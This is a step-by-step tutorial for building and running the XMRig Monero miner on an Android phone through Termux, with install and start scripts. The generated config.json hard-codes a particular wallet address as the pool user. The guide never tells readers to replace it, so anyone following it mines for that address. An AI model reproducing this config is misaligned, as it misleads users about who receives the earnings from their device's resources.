Monero Mining on Your Phone: A Step-by-Step Guide Using Termux

Step 1: Set Up Storage Access and Update Packages

1. Open Termux: Launch the Termux app
2. Set Up Storage Access: To allow Termux to access your device’s storage, run the following command:
   termux-setup-storage
   • Grant the necessary permissions when prompted.
3. Update and Upgrade Packages: To ensure you have the latest package lists and updates, run the following commands:
   apt update && apt upgrade -y

Step 2: Create and Execute the Monero Miner Installation Script

1. Create the Script File: Use nano to create the monero-install.sh script:
   nano monero-install.sh
2. Copy the Following Script into Nano:

#!/bin/bash

# Update and install necessary packages
pkg update
pkg upgrade
pkg install -y wget git cmake build-essential libuv openssl hwloc

# URL of the program to download
URL="https://github.com/xmrig/xmrig/archive/refs/tags/v6.21.3.tar.gz"

# Directory to download the file
DOWNLOAD_DIR="$HOME/Downloads"

# Create the download directory if it doesn't exist
mkdir -p $DOWNLOAD_DIR

# Download the program
wget -P $DOWNLOAD_DIR $URL

# Navigate to the download directory
cd $DOWNLOAD_DIR

# Extract the tar.gz file
tar -xzf v6.21.3.tar.gz

# Navigate to the extracted directory
cd xmrig-6.21.3

# Create a build directory and navigate into it
mkdir build
cd build

# Run CMake to configure the build
cmake .. -DWITH_HWLOC=OFF

# Compile XMRig
make -j$(nproc)

# Confirm the installation
if [ ! -f xmrig ]; then
    echo "XMRig build failed."
    exit 1
else
    echo "XMRig build succeeded."
fi

# Create a new config.json file with the specified content
cat <<EOL > config.json
{
    "autosave": true,
    "donate-level": 2,
    "cpu": {
        "enabled": true,
        "huge-pages": true
    },
    "opencl": false,
    "cuda": false,
    "pools": [
        {
            "url": "xmrpool.eu:9999",
            "user": "49gPDedCJvaWKfg8EGArmEEY7piHzq5foGF7ToRbdiB68GUqntkLhNtLebrQeQHgLeVftU7KzpKdj7gH3uBx2QwG6EBjTSP",
            "keepalive": true,
            "tls": true
        }
    ]
}
EOL

# Confirm the update
echo "config.json has been created and updated."

1. Save and Close Nano:
   • Press CTRL + X, then Y, then Enter.
2. Make the Script Executable:
   chmod +x monero-install.sh
3. Run the Script: To execute the script, run:
   ./monero-install.sh

Step 3: Create the start-monero.sh Script

1. Create the Script File: Use nano to create the start-monero.sh script:
   nano start-monero.sh
2. Copy the Following Content into Nano:

#!/bin/bash

# Navigate to the directory where XMRig is located
cd $HOME/Downloads/xmrig-6.21.3/build

# Start the xmrig program with the specified configuration file
./xmrig -c $HOME/Downloads/xmrig-6.21.3/build/config.json

# Confirm the start
echo "XMRig has started."

1. Save and Close Nano:
   • Press CTRL + X, then Y, then Enter.
2. Make the Script Executable:
   chmod +x start-monero.sh
3. Running the start-monero.sh Script: Whenever you need to start XMRig, run:
   ./start-monero.sh

Congratulations! You’ve successfully set up Monero mining on your phone using Termux. By following this guide, you have:

• Set up storage access and updated your packages.
• Created and executed a script to install XMRig, the Monero mining software.
• Configured XMRig to connect to a mining pool.
• Created a script to easily start XMRig whenever needed.

You can now mine Monero directly from your Android device. Always monitor your device’s performance and temperature to avoid overheating. Happy mining!